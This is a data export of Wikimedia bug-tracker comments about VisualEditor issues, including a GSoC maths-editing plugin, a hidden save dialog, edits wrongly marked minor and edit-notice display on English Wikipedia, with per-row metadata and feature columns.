+203898,Create a visual VisualEditor plugin tool to add/edit maths blocks,"Created attachment 13550
+Screenshot of editing a math block
+
+Some small tweaks are needed to the dialog box. Editing the last equation at https://www.mediawiki.org/wiki/VisualEditor:TestMath?veaction=edit
+there are a a few problems
+
+1) The dialog obscures the actual equation
+2) The dlalog is too small to see the whole source text of the equation
+
+This could be solved the making the dialog, moveable and resizeable.
+
+**Attached**: {F10189}",,,1382508786,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,16,,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+203894,Create a visual VisualEditor plugin tool to add/edit maths blocks,"If you have open tasks or bugs left, one possibility is to list them at https://www.mediawiki.org/wiki/Google_Code-In and volunteer yourself as mentor.
+
+We have heard from Google and free software projects participating in Code-in that students participating in this programs have done a great work finishing and polishing GSoC projects, many times mentores by the former GSoC student. The key is to be able to split the pending work in little tasks.
+
+More information in the wiki page. If you have questions you can ask there or you can contact me directly.",,,1382470549,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,16,,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,1,1,1,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,1,0,0
+203889,Create a visual VisualEditor plugin tool to add/edit maths blocks,"GSoC ""soft pencils down"" date was yesterday and all coding must stop on 23 September. Has this project been completed?",,,1379434494,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,11,,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0
+203884,Create a visual VisualEditor plugin tool to add/edit maths blocks,"Its important that it will be possible to enter the raw latex and that the text input area is large enough to enter a large formula. Editing the formula for atan2 at https://www.mediawiki.org/wiki/VisualEditor:TestMath now give a multi line box, but its still a bit small and wraps the formula. 
+
+It may be an idea to use a different size box for inline formula which tend to be short and display formula which tend to be larger. $ vrs $$ in latex syntax, I don't know how you would distinguish this in VE.
+
+The need for latex input was discussed at https://www.mediawiki.org/wiki/User_talk:Jiabao_wu and came up again at http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&curid=37904286&diff=570517247&oldid=570514963",,,1377691093,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+203879,Create a visual VisualEditor plugin tool to add/edit maths blocks,Possibly related: https://en.wikipedia.org/wiki/Wikipedia_talk:Flow#Mathematics_under_Flow,,,1376190076,,PHID-USER-omdcggvudfkuawipp23i,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+203876,Create a visual VisualEditor plugin tool to add/edit maths blocks,"(In reply to comment #7)
+> @Richard this plugin won't be dependent on bug 36496 (MathJax as default).
+> Texvc-compatible syntax remains the internal/wikitext format. MathJax
+> provides
+> a live-preview within VE to enable visual editing. (Of course, a future
+> iteration might use MathJax to save MathML and SVG alongside the TeX.)
+
+Have removed the dependency.
+
+(In reply to comment #8)
+> Is this connect with http://www.mediawiki.org/wiki/VisualEditor:TestMath?
+
+Yes; that's the work being done by Jiabao Wu as part of Google Summer of Code. See https://www.mediawiki.org/wiki/User:Jiabao_wu/GSoC_2013_Project_Work for updates.",,,1373926378,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,1
+203872,Create a visual VisualEditor plugin tool to add/edit maths blocks,"@Richard I don't know which VE version is running there. I think I should point out that this is a GSoC project in the middle of development, not anywhere near production ready, frequently breaking etc.",,,1373924458,,PHID-USER-nnhp4dmr6oozfejddbom,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+203867,Create a visual VisualEditor plugin tool to add/edit maths blocks,Is this connect with http://www.mediawiki.org/wiki/VisualEditor:TestMath? If so its a nice start but I'm having trouble editing a large formula for arctan2 at the bottom?,,,1373914340,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,0
+203862,Create a visual VisualEditor plugin tool to add/edit maths blocks,"@Richard this plugin won't be dependent on bug 36496 (MathJax as default). Texvc-compatible syntax remains the internal/wikitext format. MathJax provides a live-preview within VE to enable visual editing. (Of course, a future iteration might use MathJax to save MathML and SVG alongside the TeX.)",,,1373910001,,PHID-USER-nnhp4dmr6oozfejddbom,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+203859,Create a visual VisualEditor plugin tool to add/edit maths blocks,"**physik** wrote:
+
+I think a combination of MathML and MathJax would be optimal.
+See https://gerrit.wikimedia.org/r/#/c/69298/",,,1373790125,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+203855,Create a visual VisualEditor plugin tool to add/edit maths blocks,"Wondering how the rendering is going to happen? Is it going to use MathJax which is the only game in town at the moment? The default texvc render won't be up to the job as it need to recreate an image for every keystroke. MathML based renders have basically failed with poor browser support. 
+
+If you use MathJax deployment will be a problem unless bug 36496 is fixed.",,,1373785257,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,1,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+203849,Create a visual VisualEditor plugin tool to add/edit maths blocks,"(In reply to comment #3)
+> Are there any news on this?
+
+Jiabao was accepted as a GSoC student and will be working on this with us. Updates are going to be added at [[mw:User:Jiabao wu/GSoC 2013 Project Work]].",,,1370657625,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,2,True,,,-4,,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,1,1,0,0,1
+203843,Create a visual VisualEditor plugin tool to add/edit maths blocks,Are there any news on this?,,,1370656180,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,2,False,,,-4,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+203836,Create a visual VisualEditor plugin tool to add/edit maths blocks,"**jiabao.foss** wrote:
+
+(In reply to comment #1)
+> This will require Parsoid to be finished and expose ParserHooks to get
+> alienated, and then a VE node handler to be written. The first bit is
+> relatively easy, but the second is a very significant undertaking, so
+> prioritising as ""lowest"".
+
+Hello James, I have designed and written my proposal for a plugin that will fix this bug. http://www.mediawiki.org/wiki/User:Jiabao_wu/GSoC_2013_Application
+
+I am not yet familiar with the VE architecture so I need some help understanding it and your comments. Is my design close to what it needed for a ""node handler"" for the maths elements in a wiki page. Also currently I have two modules named doc reader and doc writer. It would be helpful to know more about how these can interact with the document in visual editor.
+
+The design that I proposed of the User Interface for my plugin be similar to that of google docs. I am wondering if this is closer to what the community wants and needs for VisualEditor. Or if it would be better to stay closer to the existing way special characters are inserted in the traditional wikitext editor.
+
+Thanks,
+Jiabao",,,1367240312,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,1,False,,,-9,,1,0,1,1,1,1,1,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+203829,Create a visual VisualEditor plugin tool to add/edit maths blocks,"This will require Parsoid to be finished and expose ParserHooks to get alienated, and then a VE node handler to be written. The first bit is relatively easy, but the second is a very significant undertaking, so prioritising as ""lowest"".",,,1355432140,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,1,True,,,-29,,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0
+45054,VisualEditor: Review window behind article,"**Author:** `jnichols`
+
+**Description:**
+I can only see the very top few lines of the review-and-save window, the notices window, and the edit summary window. The rest of them seem to be behind the article window. I can scroll down the review window, looking at it three lines at a time in the little area between the top of the article and the tabs. The notices window and the edit summary windows don't scroll, which means I can't get down to the final ""save"" button.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1355378580,1366174654.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-63cm7igyhb5qdw236lct,task_description,declined,True,c1,1,False,False,True,-29,,1,0,1,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+203634,VisualEditor: Review window behind article,"sorry for the criticism, and WORKSFORME is better, of course!",,,1366181978,,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,,PHID-TASK-63cm7igyhb5qdw236lct,task_subcomment,,True,c1,1,False,,,-11,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0
+203628,VisualEditor: Review window behind article,"Sorry for the lack of response; I reviewed this bug quite a few times in the months since it was reported, and each time was unable to reproduce (but quite clearly this was a repeatable bug, given the screenshot and two independent reports).
+
+This was not a 'blocker' in the sense that we use it, though obviously for a (seemingly very small) number of installations/situations it was a serious bug.
+
+Glad to hear that it works for you now; unfortunately, as we don't know what the root cause was, we can't proove that it's not going to re-occur. Thus I feel it would be inappropriate to assign it as ""FIXED"", so I will instead mark as ""WORKSFORME"".",,,1366178124,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-63cm7igyhb5qdw236lct,task_subcomment,,True,c1,1,True,,,-11,,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,0,1,1,1,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+203622,VisualEditor: Review window behind article,"It is possible that the bug has been resolved, I had reported it, but cannot reproduce it. Closing as ""probably fixed"".
+
+A minor criticism on bug management: at the time when Jeffery and I reported this, it was a totally debilitating bug, a blocker. Simply not investigating the bug 4 months, seemingly never testing it, but then reducing the severity to ""minor"" seems odd.",,,1366174654,,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,,PHID-TASK-63cm7igyhb5qdw236lct,task_subcomment,,True,c1,1,False,,,-11,,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,1,0,1,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+203616,VisualEditor: Review window behind article,"I can confirm with newest Chrome. Problem only happened to me on the mediawiki.org VE test page, where the en.wikipedia VE works fine.",,,1355400423,,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,,PHID-TASK-63cm7igyhb5qdw236lct,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,1,0
+203610,VisualEditor: Review window behind article,"**jnichols** wrote:
+
+Screenshot of problem
+
+**Attached**: {F10179}",,,1355382411,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-63cm7igyhb5qdw236lct,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+203602,VisualEditor: Review window behind article,"**jnichols** wrote:
+
+User:Arctic.gnome VisualEditor Screenshot
+
+//attachment Arctic.gnome VisualEditor Screenshot.JPG ignored as obsolete//",,,1355382188,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-63cm7igyhb5qdw236lct,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+203593,VisualEditor: Review window behind article,Could you take a screenshot and attach it to this ticket?,,,1355380463,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-63cm7igyhb5qdw236lct,task_subcomment,,True,c1,1,True,,,-29,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0
+45040,"VisualEditor: edits marked as ""minor"" without explicit user selection","See http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Marking_edits_as_minor for the report and http://en.wikipedia.org/w/index.php?title=Ginger_nut&diff=527654509&oldid=526997552 as an example.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1355346240,1355374103.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-dmuriij6wzg4f6nemlx3,task_description,resolved,True,c1,1,False,False,True,-29,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+202880,"VisualEditor: edits marked as ""minor"" without explicit user selection",Add to deployment milestone.,,,1357594475,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dmuriij6wzg4f6nemlx3,task_subcomment,,True,c1,1,True,,,-25,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+202873,"VisualEditor: edits marked as ""minor"" without explicit user selection",https://gerrit.wikimedia.org/r/38480,,,1355363288,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-dmuriij6wzg4f6nemlx3,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+45013,VisualEditor: Deal with en.wikipedia.org's edit notice system,"There is only one notice, but it says there are 2!
+
+See the screenshot and also
+https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&diff=527687053&oldid=527683727
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=61335
+
+**Attached**: {F10115}",Medium,50.0,1355324760,1410207320.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_description,resolved,True,c1,1,False,False,False,-29,,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0
+201255,VisualEditor: Deal with en.wikipedia.org's edit notice system,I just fixed it with https://en.wikipedia.org/w/index.php?title=MediaWiki:Common.css&diff=624714120&oldid=624708988,,,1410207320,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,3,True,,,62,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+201250,VisualEditor: Deal with en.wikipedia.org's edit notice system,"This is still occuring.  Pages with no edit notices pop up with ""1 notice"" when VE is launched.  It is not even useful in providing a link to where I *can* add an edit notice.",,,1407760794,,PHID-USER-imut7wxehhy35ukuzaks,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,3,False,,,58,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+201245,VisualEditor: Deal with en.wikipedia.org's edit notice system,Fixed on-wiki.,,,1394664023,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,3,True,,,36,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+201240,VisualEditor: Deal with en.wikipedia.org's edit notice system,"Change 118369 merged by jenkins-bot:
+mw.Target: Add class ""mw-ve-editNotice"" to edit notices
+
+https://gerrit.wikimedia.org/r/118369",,,1394662517,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,3,False,,,36,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+201234,VisualEditor: Deal with en.wikipedia.org's edit notice system,"Change 118369 had a related patch set uploaded by Krinkle:
+mw.Target: Add class ""mw-ve-editNotice"" to edit notices
+
+https://gerrit.wikimedia.org/r/118369",,,1394662319,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,3,False,,,36,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+201226,VisualEditor: Deal with en.wikipedia.org's edit notice system,"Looks like we do have a replacement class that isn't too generic:
+
+ .ve-ui-mwNoticesPopupTool-item ...
+
+Though it is an internal class, not one I'd recommend we promote as an API for wikis to use. Let's use that as a temporary replacement, and add another one soon for the long term.",,,1394661278,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,3,True,,,36,,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+201217,VisualEditor: Deal with en.wikipedia.org's edit notice system,"(In reply to Erik Moeller from comment #10)
+> Regression; this is happening again on en.wp.
+
+The system is an en.wikipedia hack, and can't be fixed from within VisualEditor without it knowing more than it should about English Wikipedia.
+
+It comes down to their Editnotice system explicitly creating an edit notice to tell sysops ""there are no edit notices on this page, click here to create one"", which they present as... an edit notice.
+
+Thus MediaWiki, and by extend VisualEditor, show it as an edit notice.
+
+Last year I put a system in place that allows them to hide these using a css class.
+
+(In reply to Minh Nguyễn from comment #12)
+> I've proposed a client-side workaround at [[MediaWiki talk:Common.css#Edit
+> notices and VisualEditor]].
+
+That css was adopted by en.wikipedia as of https://en.wikipedia.org/w/index.php?title=MediaWiki%3ACommon.css&diff=562641575&oldid=560030040 and that fixed it for them, last year with this:
+
+/**
+ * Hide the redlink generated by {{Editnotice}},
+ * this overrides the "".sysop-show { display: none; }"" above that applies
+ * to the same link as well.
+ */
+.ve-init-mw-viewPageTarget-toolbar-editNotices-notice .editnotice-redlink {
+    display: none !important;
+}
+
+
+Commit https://gerrit.wikimedia.org/r/#/c/90378/ accidentally removed this class, thus the above CSS rule no longer applies.
+
+The CSS proposed by Minh on [[MediaWiki talk:Common.css#Edit
+> notices and VisualEditor]] is a bit too generic in my opinion, I would recommend against that.",,,1394660986,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,3,True,,,36,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+201208,VisualEditor: Deal with en.wikipedia.org's edit notice system,*** Bug 55951 has been marked as a duplicate of this bug. ***,,,1394495869,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hjoe3umj3mbaqn4fu5f7,task_subcomment,,True,c1,3,True,,,36,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
